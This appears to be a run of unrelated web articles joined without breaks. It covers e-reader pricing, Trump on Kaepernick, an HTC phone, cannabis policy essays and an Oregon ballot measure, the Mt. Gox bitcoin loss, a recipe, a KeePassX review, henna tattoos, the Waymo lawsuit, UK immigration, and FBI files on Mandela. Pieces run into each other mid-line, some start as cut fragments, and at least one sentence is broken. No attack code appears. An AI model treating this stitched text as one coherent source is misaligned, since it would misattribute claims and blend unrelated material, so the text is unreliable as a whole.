Amazon recently announced tremendous year-over-year growth in Kindle sales, and BN had to react before the market they created with the original Nook Color was completely wrested from them. To bolster their position there the Nook Color’s price has been slashed to $169, so frugal customers looking for an above-average (and easily hackable) eReader/tablet hybrid a respectable choice.
Amazon still owns the bottom of the eReader space with its $79 ad-supported Kindle (even though it’s a pain in the ass to use), but BN’s revamped product portfolio now offers up some stiffer competition. With the still-solid Nook Color wedged in between the $100 and $200 price points, BN arguably has the more compelling lineup, but we’ll soon see how consumers react to the Nook shakeup.Speaking at a rally in Louisville, Kentucky on Monday night, President Trump took some shots at former San Francisco 49ers quarterback, now free agent Colin Kaepernick. Kaepernick became a polarizing figure last year by not standing for the national anthem before football games.
“There was an article today, it was reported that NFL owners don’t want to pick him up because they don’t want to get a nasty tweet from Donald Trump.”
Said President Trump while addressing the crowd in Louisville. The report President Trump refers to emerged Friday, from Mike Freeman of the Bleacher Report.
While President Trump seemed to laugh off the report that suggested he would direct a “nasty tweet” to the NFL team that signs Kaepernick, Trump said nothing to suggest that he would not do such a thing in of course 140 characters or less. Watch the President address the Kentucky crowd below.
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Featured image via: (Getty Images)The HTC Bolt has been making the rounds recently and the new flagship is expected to be unveiled on 11th November. Photos of a presentation by Sprint give us the details of what seems to be a non-Google version of the Pixel XL. The Bolt will be known as HTC 10 Evo Internationally though.
Along with the release date, the promo materials also confirms some of the specs that we have been hearing about. For starters it seems that the HTC Bolt will feature a 5.5-inch QHD display. It will also come with a 16MP rear-facing camera, an 8MP front-facing camera, and will feature an all-metal body that is IP57 certified.
It also seems that HTC will be bundling a pair of BoomSound Adaptive Audio headphones with the handset. Note that the headphones are USB Type-C, which seems to confirm that the HTC Bolt will be launching without a headphone jack. Interestingly, HTC ditched the Google Assistant too in favor of Amazon’s Alexa.
There’s no word on pricing yet or when the Bolt’s international version, the HTC 10 evo, will be unveiled.
SourceA friend of mine recently linked me to Sherrie Silman’s Feminspire article Why Weed Legalization is a Feminist Issue. I highly recommend that you read it for yourself, but the basic gist is that feminism’s core tenet is one of equity for all persons, regardless of social location. Additionally, feminists have long help strong beliefs about the right of a person to bodily autonomy (i.e. a person should be able to do what they wish to their own body, so long as it doesn’t harm others). With this in mind, it follows that the legalization of cannabis aligns very well with the values of feminism. The criminalization of cannabis has disproportionate impact on already marginalized groups of people, it undermines bodily autonomy, and it prevents people who get therapeutic benefit from consuming cannabis from accessing their remedy. Silman focuses particularly on the benefits of cannabis in mediating the symptoms of various menstrual cycle disturbances, including PMS, menstrual cramping, and endometriosis. She also emphasizes the hypocrisy of cannabis criminalization when legal substances like tobacco and alcohol are much, much more harmful to the body, while simultaneously possessing few to none of the medical benefits of cannnabis.
I’m in agreement with pretty much all of the above, except for one word: legalization. The media has whittled the cannabis debate down to two options: legal or illegal. In reality, there are a whole plethora of options in between, falling on the spectrum of decriminalization, which deserve careful consideration as well.
Legalization, which allows for regulated and taxed retail sale of cannabis products, has some obvious benefits. It allows folks who consume cannabis to purchase it in safe, convenient location, it provides measures to ensure the quality and the safety of the product, it provides an additional, and likely significant, source of tax revenue which could be put towards health promotion or social programs, and it most obviously protects folks who consume cannabis from facing a criminal record, fines, and/or jail time. That’s all well and good. However, what Silman forgot to mention is that there are downsides full legalization, and that these downsides are feminist concerns as well. In the US, where the legalization ball is already rolling, Big Tobacco and Big Agri-Food (I’m looking at you, Monsanto) already have their sights set on the burgeoning cannabis industry as their next big cash crop. In Canada, legislation recently went through which states that, as of March 31, 2014, patients in Canada’s medical cannabis program will only be able to obtain their cannabis from growers who are licensed by Health Canada. This system will essentially create a state monopoly over medical cannabis, favouring large-scale monoculture farms. Small local, organic, cottage-type growers will find it nearly impossible to jump through the hoops required to gain a license; their patients will lose their trusted organic supplier, and the cottage growers will lose their livelihood. Additionally, large-scale monoculture farming is notoriously bad for the environment, whereas small-scale, cottage-style groweries have very little environmental impact. Corporate- and state-monopoly systems are distinctly anti-feminist. Legalization should be built in such a way that it empowers the average person, not just big corporations. And it certainly shouldn’t come at the expense of the people who are supposed to benefit from it.
So, you ask, what’s the solution then? Well, there’s the whole realm of decriminalization, which rarely gets touched upon in these debates. Decriminalization removes criminal penalties from use and/or production and/or sale of cannabis products, but does not necessarily include measures for taxation or regulation of cannabis products. It’s hard to talk about decriminalization generally, because there are a plethora of different variations and ways that it could be implemented, but the benefit that I see is this: Decriminalization protects folks who consume cannabis (and preferably those who grow and sell it as well), but doesn’t give governments and large corporations the same opportunities to set up exploitative monopolies. Cottage growers, hopefully, could continue to produce organic, locally- and ethically-grown product, and home growers could continue to supply themselves, their friends and their loved ones, as well as enjoy a fulfilling horticultural hobby. Again, this is speculation, and would depend on the type of decriminalization implemented.
Ideally, I’d like to see a system which falls somewhere between decriminalization and legalization. I’d like to see a system where folks who consume cannabis have the option of buying their product from a retail store, but also have the options of buying from a cottage growery, buying from a friend, or growing their own. I’d like to see a system which protects local grower from state- and corporate-monopoly. I’d like to see a system which includes measures to test the quality and safety of cannabis products, but which also includes measures to prevent the environmental destruction that results from large-scale monoculture farming.
Basically, I don’t want to see such a strong counter-cultural symbol turned into the next big cash cow, tossing aside all the values of the communities who embraced it from the start. Instead, I’d like to see an industry which is safe, socially responsible, environmentally friendly, supportive of local farmers and business people, and empowering to individuals.
Too optimistic? Maybe. But I’ll keep hoping.
AdvertisementsSINGAPORE (Reuters) - Close to half a billion dollars worth of the bitcoin virtual currency has gone missing from an exchange in Tokyo - in what is either the bank heist of the century or a sloppy glitch, or a combination of the two.
Mark Karpeles, chief executive of Mt. Gox, attends a news conference at the Tokyo District Court in Tokyo February 28, 2014. REUTERS/Yuya Shino
Mark Karpeles, the 28-year-old French CEO of Mt. Gox, which once handled around 80 percent of the world’s bitcoin trades, filed for bankruptcy at a Tokyo District Court late on Friday. His lawyer said that nearly all the bitcoins in the exchange’s possession - 850,000 of them - were missing. Karpeles blamed hackers.
At current bitcoin rates on other exchanges, that would mean $473 million is lost - around 7 percent of all bitcoins minted.
“If the theft is true,” said Campbell Harvey, a professor at Duke University’s Fuqua School of Business, “it’s the biggest bank heist in history,” aside from when Saddam Hussein ordered his son to withdraw $1 billion from Iraq’s central bank in 2003.
How this happened remains a mystery. But most observers say Mt. Gox’s laxness played a key role in the debacle.
“When I first signed up to it, it was clearly not fit to be a financial services company,” said Jon Rushman, who researches and lectures about bitcoin at England’s University of Warwick. But things got better, he said: “It has been a process of learn-by-doing that they have discovered all sorts of things they should be doing, but were not.”
No official explanation has been forthcoming beyond blaming hackers and weaknesses in Mt. Gox’s system.
A document circulating on the internet that purports to be a crisis strategy paper prepared on behalf of Mt. Gox blamed the hole on a “malleability-related theft which went unnoticed for several years.” Mt. Gox has not confirmed the authenticity of the document.
The phrase, says Ethan Heilman, a research fellow at Boston University, refers to a bug in the bitcoin process whereby someone could trick Mt. Gox into thinking a transaction had failed - and therefore keep repeating it.
This, say Heilman and others, could explain the disappearance of the money - even though the bug has been known for a while, and has been fixed on other exchanges.
STRETCHING CREDIBILITY
More problematic is another part of the document’s purported explanation.
Usually bitcoins’ private keys - something similar to a personal bank PIN code - are stored offline, where hackers can’t get them. This ‘cold storage’ is unconnected to the online part - the hot wallet. The document says “the cold storage has been wiped out due to a leak in the hot wallet” - a statement experts say doesn’t make sense.
If true, this suggests the vast majority of Mt. Gox’s bitcoin deposits were leaking out without anyone noticing.
This stretches credibility, says Anthony Hope, who heads compliance for Hong Kong-based bitcoin company MatrixVision. Once Mt. Gox was aware of the malleability bug, why didn’t they check their cold storage? “This is like someone saying that you put your wine in a cellar to keep cool, then someone tells you that a particular vintage had loose corks,” he said. “You’d presumably go into the cellar to ensure your bottles were not affected.”
At Singapore-based Coin Of Sale, Tomas Forgac said: “If this was long-term leakage which went unnoticed, it shows an unbelievable level of incompetence.”
‘THOUSANDS OF SOCKS’
If the bitcoins have been stolen, the thief or thieves would have several options to convert them into cash, said Boston University’s Heilman.
They could have used a “mixing service” to mix one group of funds with those of other people. They could also have used a service like localbitcoins.com to trade bitcoins for cash in person. “There are many possibilities for cashing out, although fencing this many bitcoins would be difficult,” he said.
To do that, says Charles McFarland, a research engineer at online security company McAfee, the thief or thieves would have to conceal their tracks by spreading the bitcoin around prior to laundering it into cash.
Trying to do so from a single bitcoin wallet would have been like stuffing thousands of socks in a dryer while everyone else is throwing in only a single pair.
“For this reason it’s a safe bet to say the stolen bitcoins are most likely paid out in numerous wallets so each transaction can hide among the trees,” McFarland said. That, he said, would make it “expensive, if not impossible, to track.”
Knowing whether this was theft or negligence, or both, will take time, and may never happen. U.S. federal prosecutors have subpoenaed Mt. Gox - and other bitcoin businesses - to seek information on a spate of disruptive cyber attacks.
But bitcoin is an unregulated industry, requires no technical audits or risk management procedures - and offers few ways of prosecuting those who might have acted illegally, says Zennon Kapron, who runs a finance consultancy in Shanghai.
“The unfortunate part is that we may never know exactly how this happened,” he says.This post may contain affiliate links. Please see my full Disclosure Policy for details.
This Peanut Butter & Chocolate Ice Cream Bread is a sweet dessert made with just 5 simple ingredients.
Peanut Butter Ice Cream Bread
Happy Thursday! Only one more day until the weekend and it’s the first Thursday of the month which means it’s time for another Peanut Butter Bash recipe!
This month’s secret ingredient is Ice Cream, so what do you do when you have to use ice cream and peanut butter in a recipe? You add chocolate and make ice cream bread of course!
Since I discovered ice cream bread last year, I’ve been loving creating so many delicious flavors like Strawberry and Blueberry.
I decided to go a little richer and sweeter this time around with a bread that’s fit more for dessert than breakfast.
Chocolate ice cream and self-rising flour is swirled with peanut butter and loaded with chocolate chips
Peanut Butter & Chocolate Ice Cream Bread This Peanut Butter & Chocolate Ice Cream Bread is a sweet dessert made with just 5 simple ingredients. Print Pin Prep Time: 10 minutes Cook Time: 45 minutes Total Time: 55 minutes Servings: 1 loaf Calories: 3047 kcal Author: Rebecca Hubbell Ingredients 2 cups Chocolate Ice Cream softened
1 1/2 cups Self-Rising Flour
1/2 tsp Salt
1 cup Semi-Sweet Chocolate Chips
1/2 cup Peanut Butter Instructions Preheat oven to 350 F.
Grease 4x8 bread pan and set aside.
Mix ice cream, flour, and salt together in a medium sized bowl until fully combined.
Stir in chocolate chips and pour batter into the bread pan.
Swirl peanut butter into the top of the bread.
Bake for 40-45 minutes.
Cool in pan for 10 minutes before transferring to a cooling rack. Nutrition Calories: 3047 kcal | Carbohydrates: 330 g | Protein: 75 g | Fat: 166 g | Saturated Fat: 71 g | Cholesterol: 100 mg | Sodium: 1977 mg | Potassium: 2702 mg | Fiber: 29 g | Sugar: 145 g | Vitamin A: 23.8 % | Vitamin C: 2.2 % | Calcium: 48.3 % | Iron: 99.6 % Tried this recipe? Mention @sugarandsoulco or tag #sugarandsoulcoKeePassX is an independent implementation of the popular password manager that supports the KeePass (kdb) and KeePass2 (kdbx) database formats. Like the official KeePass application, KeePassX is open source but the main difference is that KeePass requires Microsoft’s.NET framework or the Mono runtime to be installed whereas KeePassX does not.
The feature list from their website shows that KeePassX offers:
Extensive management title for each entry for its better identification possibility to determine different expiration dates insertion of attachments user-defined symbols for groups and entries fast entry dublication sorting entries in groups
Search function search either in specific groups or in complete database
Autofill (experimental)
Database security access to the KeePassX database is granted either with a password, a key-file (e.g. a CD or a memory-stick) or even both.
Automatic generation of secure passwords extremly customizable password generator for fast and easy creation of secure passwords
Precaution features quality indicator for chosen passwords hiding all passwords behind asterisks
Encryption either the Advanced Encryption Standard (AES) or the Twofish algorithm are used encryption of the database in 256 bit sized increments
Import and export of entries import from PwManager (*.pwm) and KWallet (*.xml) files export as textfile (*.txt)
Operating system independent KeePassX is cross platform, so are the databases, as well
Free software KeePassX is free software, published under the terms of the General Public License, so you are not only free to use it free of charge, but also to redistribute it, to examine and/or modify it’s source code and to publish your modifications as long as you provide the same freedoms for your modified version.
I’ve been a long time user of KeePass and figured I would check out KeePassX to see if there were any advantages to making the switch. Opening up my existing KeePass2 database was a breeze and even the ‘experimental’ autofill seemed to work just fine. I should also point out that, at least on Linux, KeePassX seems to be much quicker and definitely feels more native compared to the WinForms+Mono official version (I imagine the opposite is true while running on Windows).
The password generation tool for KeePassX is also very similar to the one in the official KeePass however they’ve opted for some defaults which could actually reduce the randomness, and thus security, of a password: exclude look-alike characters, ensure that the password contains characters from every group, etc.
These defaults do make it a bit easier to read or transcribe the passwords should you ever need to and given a long enough password the impact on security should be minimal.
So what are my feelings on KeePassX overall? In my limited use it seems like an excellent alternative to the official KeePass application and one that may almost be preferred on non-Windows platforms. I think I’ll be making the switch to KeePassX for my Linux-based installs.
Update: after some slow progress a few developers decided to fork the KeePassX project over at KeePassX Reboot. We’ll have to see how things with this fork play out but I wanted to mention it here in case you decided that the fork was the better version for you.How is sex determined? In humans, it’s a matter of genetics, and it begins the moment a sperm cell fertilizes an egg, thereby producing a certain combination of sex chromosomes. Throughout the animal kingdom, though, sex determination varies widely and isn’t always genetically based, as biologist Aaron Reedy explains in the TED-Ed video below. For example, in some species—such as alligators and turtles—sex is actually determined by the environment. Specifically, the sex of these reptiles depends upon the temperature of their eggs at a critical point in development (cooler = male; warmer = female). Check out the video below to learn more about other fascinating variations in how sex is determined throughout nature.
A couple of disclaimers before you watch this video: Reedy describes what typically happens during development—and while XX chromosomes usually lead toward female development and XY chromosomes usually lead toward male development, this isn’t always the case due to other factors (e.g., hormonal exposure, sensitivity to hormones). The end result is that some people are intersex. Also, the focus of this video is on sex determination and it doesn't touch at all on gender identity. Keep in mind that biological sex and gender identity are different things and need not be consistent with one another.50 Stunning Henna Tattoo For Girls
From The Past Of the Years People Tried their best to look beautiful and for this they tried many things and Henna is one of them.
In Indian Culture Every Bride puts Henna on their Body as it is believed that more the color of henna more the love they will get from their life partner.
But Now Not only Bride put Henna on their body,,Many girls used to put it on their body to look more beautiful.
Now a New Trend is arising between young girls of putting Henna Tattoos as they are temporary and also can put without pain.
So For Helping those Girls We just collect Some best of Henna Tattoos..We hope you will like them and also Share them.So here is the List of 50 Stunning Henna Tattoos for girls.
Beautiful Tattoo for a Beautiful Girl
When Tattoo Speaks About You
Best Tattoo To Put on Arm
Floral Henna Tattoo Is Also Good
Henna Tattoo to put on Back
When A Bride Put Henna
Girl’s Beauty With Henna Tattoo
Om Mehndi Tattoo
Floral Mehndi Tattoo
Mehndi Tattoo
Awesome Mehndi Tattoo
Bride With Beauty
Full Hand Henna Tattoo
Awesome Henna Art
Bridal Mehndi
Flower Henna For Arm
Full Arm Henna Tattoo
Mehndi Dragon Tattoo
Mehndi Tattoo For Girls
Bridal Henna
Ankle Henna
Bride Tattoo
Bride Henna Tattoo
Lovely Floral Henna
Henna Tattoo
Flower On Ankle
Beautiful Back with Beauty
Henna Back Tattoo
Lovely Henna
Temporary Henna
Beautiful Tribal Henna Tattoo
Henna Fish Tattoo
Temporary Tattoo
Beautiful Henna Tattoo For Bride
Tattoo On Girl Hand
Floral Tattoo
Tattoo Design
Tattoo Bracelet For Arm
Tattoos Design
OM Tattoo
Colorful Tattoo For Bride
Maori Tattoo
Bracelet Tattoo for Wrist
Beauty On Its Best
Lovely Art
Nice Tattoo
Full Arm Tattoo
Tattoo Idea
Tattoo As Jewellery
Tattoos For Girls
If you really Like this Post Then Please Share it..The Second City Derby Infographic
The fact that Aston Villa haven’t actually played Birmingham City in a second city derby since the existence of My Old Man Said, means the local rivalry between the two teams hasn’t really been much of an issue beyond the context of Alex McLeish. If the Blues aren’t in the Premier League alongside Villa, then there’s not much to be gained from comparisons. As Villans, we need to aim higher and reach outside of a very easy comfort zone of second city derby rivalry. Get promoted Blues, then we can talk banter.
However, MOMS was sent in the below infographic that was worth a post, if only to remind ourselves there is a second city derby. There’s some interesting second city derby facts. The most startling, probably is the fact that one of our best managers went to Small Heath after us, while the only manager to go the opposite way ended up being one of the worst Villa has ever known. Perhaps the only disappointment of the graphic is the creator of it not coming up with an excuse to the put the 5-1 mauling of the Blues in April 2008 in there somewhere! UTV
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ers who have turned what should be an honorable profession to the ultimate manifestation of Big Dirty Government, unrestrained by law, unmoved by conventions of professionalism and unwilling to adhere to any sense of right or wrong.
Congress is not helpless, and with Baucus on the case there is evidence the issue could have bi-partisan support against the ultimate villain here, a rampant White House with no sense of limits.
If Congress can't force the IRS to live within limits, it should begin talks about new laws or, failing that, cut funding. If it doesn't, Congress will watch this monster feast on new victims in ever-more outrageous attacks on dissent.Astronomy Picture of the Day Discover the cosmos! Each day a different image or photograph of our fascinating universe is featured, along with a brief explanation written by a professional astronomer. 2015 April 9
A Golden Gate Eclipse
Image Credit & Copyright: Rogelio Bernal Andreo (Deep Sky Colors)
Explanation: Shadows play on the water and in the sky in this panoramic view of the April 4 total lunar eclipse over San Francisco's Golden Gate Bridge. Just within planet Earth's shadow the Full Moon's disk is still easy to spot at its brief total phase. The urban night skyscape was composed to cover the wide range of brightness visible to the eye. The shortest total lunar eclipse of the century, this eclipse was also the third in a string of four consecutive total lunar eclipses, a series known as a tetrad. Coming in nearly six month intervals, the previous two were last April 15 and October 8. The next and final eclipse in the tetrad will be on September 28. This 2014-2015 tetrad is one of 8 total lunar eclipse tetrads in the 21st century.SAN FRANCISCO — Waymo, the self-driving car business spun out of Google’s parent company, claimed in a federal lawsuit on Thursday that Uber was using intellectual property stolen by one of Google’s former project leaders.
In a federal court filing in San Francisco, Waymo said Anthony Levandowski, who runs Uber’s autonomous car division, downloaded 14,000 files from Google a month before leaving to start his own self-driving car company, Otto. Uber acquired Otto in August for $680 million, about seven months after Mr. Levandowski left Google.
“Otto and Uber have taken Waymo’s intellectual property so that they could avoid incurring the risk, time, and expense of independently developing their own technology,” the company said in the filing. “Ultimately, this calculated theft reportedly netted Otto employees over half a billion dollars and allowed Uber to revive a stalled program, all at Waymo’s expense.”
Uber did not respond to requests for comment.
In its filing, Waymo said it was inadvertently copied on an email from one of its suppliers with drawings of Uber’s circuit board design for its lidar technology, short for light detection and ranging, ” that are laser-based sensors used in self-driving cars. Waymo said Uber’s design bore “a striking resemblance” to its proprietary and highly secret design and infringed on Waymo’s patents.TileMill Feature Preview: Compositing Operations
Mapbox Blocked Unblock Follow Following May 22, 2012
By AJ Ashton
Artem and Dane have been hard at work on some fantastic new developments in Mapnik, the powerful map renderer that makes TileMill possible. The latest feature additions are a set of composite operations and image filters that will greatly expand design possibilities for maps. I took some time recently to experiment with these features and explore what new things are possible from a cartography perspective.
If you are familiar with graphics applications like PhotoShop or GIMP, you will recognize many of the new blending modes, such as multiply, overlay, color-dodge, and color-burn.
Here is an example of color-dodge in use. A number of light transparent polygons are overlaid on a dark base design. The many overlapping shapes combine to brighten the colors below, where normally they would produce an opaque fill that blocks the information beneath it.
Here’s another color-dodge example showing highways and ferry routes. Note that all of the lines have the same color applied to them in the stylesheet. The final look is determined by the information beneath that they are combined with, so ferry routes (and bridges) appear blue, and roads within city areas appear brighter.
Other compositing operations allow you to mask different pieces of data. Here’s an example of using a thick outline to mask different colored polygon fills. The polygon fills themselves are multiply-blended against the raster backdrop, resulting in tint-bands, a familiar cartographic effect.
Here I’m combining multiplied textures, line, and polygon fills for a printed paper effect. The red layer is made a bit more blobby with some positive and negative PostGIS buffering for simulated ink-bleeding.
Going crazy with compositing operations on lots of vector and raster layers can yield results that might be at home in a global domination video game.
These new features are still buggy and experimental. You can look forward to seeing them in TileMill releases in the coming months. Adventurous power users can check out the latest code on GitHub (Mapnik, TileMill, Carto), but there will be a few hurdles to getting things set up for the time being.Ahead of a speech by the Prime Minister on Monday, Mark Harper, the immigration minister, suggested people will find it much harder to claim benefits shortly after arriving in Britain.
Mr Cameron is expected to unveil plans to stop immigrants getting council houses for up to five years after they come to Britain. They will also be forced to pay for visiting their family doctor and using other NHS services.
He told Sky News that immigrants from the EU must feel like they are contributing to British society, rather than simply taking.
"We don’t want them thinking that they are going to get a hand out from the taxpayer, and that’s why we are looking at tightening the rules still further," he said.
"We want to make sure that people don’t come here with an expectation that they can jump the housing queue, when they haven’t been here for very long at all."
Mr Harper said the Government is considering forcing immigrants to deposit “cash bonds” that will be returned only when they return to their home countries.
The Prime Minister is making the announcement on immigration just days after Nick Clegg, the Liberal Democrat leader and deputy Prime Minister, gave his first major speech on the difficult subject.
Mr Clegg backtracked on his previous support for an amnesty for illegal immigrants, as he unveiled a stricter stance for his party.
It comes amid public fears about an influx of Romanian and Bulgarian immigrants when restrictions on their right to live in Britain are lifted next year.
The major parties are also worried about the success of Ukip, which has seen its share of the vote grow in recent by-elections after campaigning against uncontrolled migration.
In contrast, Vince Cable, the Business Secretary, last week warned that restricting immigration too much would have damaging consequences for the economy.
Dr Cable distanced himself from Tory pledges to restrict immigration to “tens of thousands” and said Britain needed to “bang the drum” in China and India to encourage students to study here.by
Back in 1970, I was part of a group of about thirty protesters who descended upon the Michigan State Capitol to protest the hard-time incarceration of our friend, ally and hero John Sinclair. John, a fellow Flint native whom I’ve known since I was nine-years-old, had been sentenced in 1969 to ten years in prison after giving two joints to an undercover agent who had incessantly begged him for some. This blatant political sentence against the founder of the anti-racist/anti-war White Panther Party and erstwhile music promoter/DJ hammered home the oligarchy’s hatred of all things “counterculture” – the music, the pro-Civil Rights politics, the whole Peace, Love and Granola rising culture… but, foremost was its intentional, chilling effect on peaceful marijuana users.
We entered the balcony to the Senate Chamber. Soon, we were surrounded by police who forced us out of the balcony and then suddenly gassed us once we were on the circular stairs of the Rotunda. The entire Capitol evacuated through dense stinging smog that lingered under the Rotunda Dome. We retreated to a corner of the Capitol lawn, cleared our eyes and commiserated under our White Panther and Woodstock Nation flags. (Another guy who suffered many an arrest and many a beating in the cause of ending the Vietnam War, Abbie Hoffman, who had famously rushed on stage at Woodstock to protest Sinclair’s incarceration – and got yet another beating by the jackass Pete Townshend for his troubles – had supplied the fine black flag with central green cannabis leaf over a red star that I carried. Ironically, The Who were playing the song The Acid Queen when Townshend bonked Hoffman in the head with a guitar.)
Someone shouted in the direction of the phalanx of cops now surrounding the Capitol, “You fuckers. In two years pot will be legal and you’ll be joining us!”
Sinclair was released in December 1971, three days after the great John Lennon, Stevie Wonder, Phil Ochs, Pete Seeger, Abbie, Allen Ginsberg and others held a benefit concert for John in Ann Arbor. Soon, the felony laws he was convicted under were overturned by the Michigan Supreme Court. It looked like that fellow protester’s prediction was at hand.
Decades Later – Ballot Measure 80
Well, that was certainly a pipe dream. Two years later is now 42 years later – a lifetime of further unjust harassment and incarceration of peaceful marijuana smokers. It costs the taxpayers over $1 billion per year to enforce Prohibition and over 850,000 people a year are arrested in the US under Prohibition laws – one every 19 seconds!
I was at another state capitol this July 6th. Petitioners turned in the last of around 168,000 signatures on Petitions to the Secretary of State. 87,200 of those signatures (equal to 6% of the voters who voted for governor in the last state-wide election) were needed to be valid for the Oregon Cannabis Tax Act (OCTA) to be placed on this November’s Ballot. Friday, July 13th, the Oregon Secretary of State certified the signatures and Ballot Measure 80 is official!
This chance to vote for legalization of cannabis for adult use and hemp for agricultural/industrial use is the result of tireless work by Paul Stanford and his many allies at The Hemp and Cannabis Foundation (THCF) http://www.hemp.org/ THCF has helped over 150,000 patients in nine states get legal medical marijuana status.
The 411 on Legal 420
This isn’t the first time legalization or some form of quasi-legalization has come before the voters in Oregon. Though Oregon is a leader in Medical Marijuana legislation, recently, we saw a ballot effort to establish regulated medical marijuana dispensaries shot down by a well-funded opposition. But, OCTA is certainly the best chance we’ve ever had. Preliminary polls show around 62% positive. With the expected barrage of anti-ads from the Prison/Industrial complex, Alcohol and tobacco dealers, Big Pharma, et al., that will shrink; but, hopefully not below 50.1%
OCTA is not without some good support on its side: the United Food and Commercial Workers (UFCW) union is on board, as are the common sense officers of Law Enforcement Against Prohibition (LEAP). The unions recognize the potential of new industries related to hemp and cannabis. Already, UFCW and Stanford have begun an effort to unionize workers in the Medical Marijuana industry.
“When the voters of Oregon pass this common-sense initiative, it will take money right out of the pockets of violent gangs and cartels and put it into the state’s tax coffers, where it can be spent on improving schools, roads and public safety,” said Neill Franklin, the national executive director of Law Enforcement Against Prohibition (LEAP) and a 34-year career law-enforcement officer and veteran of narcotics policing in Baltimore. “Plus, when cops like me are no longer charged with chasing down marijuana users, we will be able to fully focus on stopping and solving serious crimes like murders, rapes and robberies.”
The great American treasure, Willie Nelson, an Oregon Medical Marijuana patient has given much support as will many others.
You can contribute to this historic effort through the campaign’s website.
As past legalization efforts foundered on a lot of mis-and dis-information, I asked some friends just what questions they have about it. I then asked Paul Stanford the top questions that kept coming up:
Q: There is an age limit (Minors forbidden) in OCTA. Just how will it be distributed and age limit enforced? How will someone over 21 buy any? Will it be in established State Liquor Stores or a new system?
Answer: It will be distributed and the age limit enforced in the same way that alcohol is today. There will be state-licensed stores and businesses where those under 21 are not allowed, like bars and taverns that sell alcohol today. The stores will get it from licensed distributors who will buy it from licensed farmers. Adults will be carded and show their ID to validate they are over 21 years of age. It will be a new system, and not part of the state liquor store system today.
Q: Any quantity? What quantity can a citizen possess? …Can have growing at any time?
Answer: As long as it is for personal use, there are no limits in our initiative for the amount grown, plants grown, nor amount of cannabis possessed.
Q: Where does the distributor get their supply?
Answer: Farmers will be licensed to grow it for sale to processors/distributors. The law says that licenses will be equitably distributed among all applicants. The type sold will be according to market demand.
Q: Who certifies?
Answer: The newly created Oregon Cannabis Commission. OCTA says, “The OCC shall consist of seven commissioners. Initially, seven commissioners shall be appointed by the Governor before December 31, 2012 for a term of one year and they shall promulgate administrative rules, create systems and begin licensing applicants by February 28, 2013. Thereafter, five commissioners shall be elected at large by growers and processors licensed under ORS 474.035 for a term of one year, and two commissioners shall be appointed by the Governor for a term of two years. The OCC shall work to promote Oregon cannabis products in all legal national and international markets.
Q: What would the tax be? Per unit? (Any guess as to eventual Market Price(s)?)
Answer: OCTA says, “The commission shall sell cannabis through OCC stores and shall set the retail price of cannabis to generate profits for revenue to be applied to the purposes noted in ORS chapter 474 and to minimize incentives to purchase cannabis elsewhere or to purchase cannabis for resale or for removal to other states. “ So, it will be higher at first, while surrounding states are illegal, but the price will go down as it becomes legal elsewhere. My guess is it will start at $100-$200 per ounce, and go down, eventually, to $20-$50 per ounce for good buds.
Q: What about all of the people in prison and on probation? – immediate amnesty if their convictions are no longer based on a crime?
Answer: Our polls in 2008 showed we lost 15 percent by imposing amnesty for cannabis offenders. So, based upon that, we decided that that is another battle, after we restore hemp and cannabis. The best we can do for them now is legalize it.
Q: Something like 90% of all people forced by the Courts to pay for private for-profit Drug Rehab are young people convicted of simple possession. Many are also forced to cover the costs of their Probation even after they serve time. In that vein, how much opposition do you expect from the 5P Posse (Police, Prisons, Prosecutors, Pharma and Politicians), given all the jobs and profits involved in Prohibition?
Answer: We expect some opposition. Clatsop County District Attorney, Josh Marquis, debated me on OCTA on Portland’s ABC affiliate, KATU-TV, channel 2 show, Your Voice; Your Vote. You can see the debate, sans commercials, on our website. Marquis is a spokesperson for the National District Attorneys Association (www.ndaa.org).
Q: Once passed, how long before it takes effect – the stated date and the expected date after lawsuits and other challenges?
Answer: The act takes effect on January 1, 2013. It is hard to say now for certain, but we can look to history. It took the Death with Dignity Act (another Oregon first) about 2 years from passage in Nov. 1994 before the US Supreme Court upheld it in Gonzales v. Oregon in 2006.
We wrote OCTA to be upheld in federal court by invoking findings by the people, the sovereign, based on historical and scientific facts, and on international and constitutional law, and by implementing controls mandated by international treaties.
A Harvard economist has studied the OCTA and has estimated that the Act would save Oregon $60 million in enforcement/incarceration costs per year and would raise another $160 million in new taxes per year.
Celebration
John Sinclair, still keeping the faith at 70 and I will be joining Paul Stanford and thousands of other supporters at Portland Hempstalk this September 8 and 9 at Kelley Point Park in Portland. Paul Stanford and THCF have sponsored this music and cultural gathering for a few years now. This year will be special with OCTA on the Ballot. Come join us.
I’ll be writing updates as the campaign progresses. Along with the politics of it all, I will examine the numerous positive benefits of this wonder plant. Send me any questions you have. A long, strange trip with countless injustices is coming to an end.
MICHAEL DONNELLY lives in Salem OR. He can be reached at [email protected] George H.W. Bush’s administration was cultivating a relationship with Nelson Mandela and his African National Congress (ANC), the FBI still viewed the former political prisoner and his group as possible communist threats to U.S. national security, according to newly declassified FBI documents the agency held on the late South African president. By 1990, the Berlin Wall had been torn down and other Soviet-controlled institutions in Eastern Europe had been demolished, signaling an end to the Cold War. But the FBI remained stuck in a Cold War mentality, the documents obtained by Al Jazeera suggest. The agency appeared concerned that growing support for Mandela and anti-apartheid movements was coming from communist groups in the U.S. and members of Congress with ties to communist organizations, presenting the FBI with a possible national security threat it would be forced to confront. So the FBI monitored Mandela’s movements, cultivated a confidential informant to infiltrate his meetings with political groups, and spied on his get-togethers with world leaders, the documents reveal. A partially classified July 1984 “teletype” noted that supporters of a “Freedom for Nelson and Winnie Mandela” House resolution sponsored by African-American congressman George Crockett had ties to communist groups. The FBI also saw activities by the Communist Party USA (CPUSA), which circulated a petition demanding that President Ronald Reagan condemn Mandela’s incarceration, as subversive, according to a January 1985 FBI document previously classified as “secret.” The heavily redacted FBI documents on Mandela total about 36 pages and were turned over to Ryan Shapiro in response to a Freedom of Information Act (FOIA) lawsuit he filed against the FBI. Shapiro, a doctoral candidate at the Massachusetts Institute of Technology, is a FOIA specialist and a historian of the political functioning of national security and the policing of dissent. The documents date back to the mid-1980s and 1990s and are part of the FBI’s ongoing release to Shapiro of classified records the agency has held for decades on the South African president, who died last December at the age of 95. Shapiro has also filed FOIA lawsuits against the National Security Agency, CIA and Defense Intelligence Agency for all their documents on Mandela. These government agencies likely maintain the most important records on Mandela, including documents that, if released, could shed light on the alleged role the CIA played in his 1962 arrest.
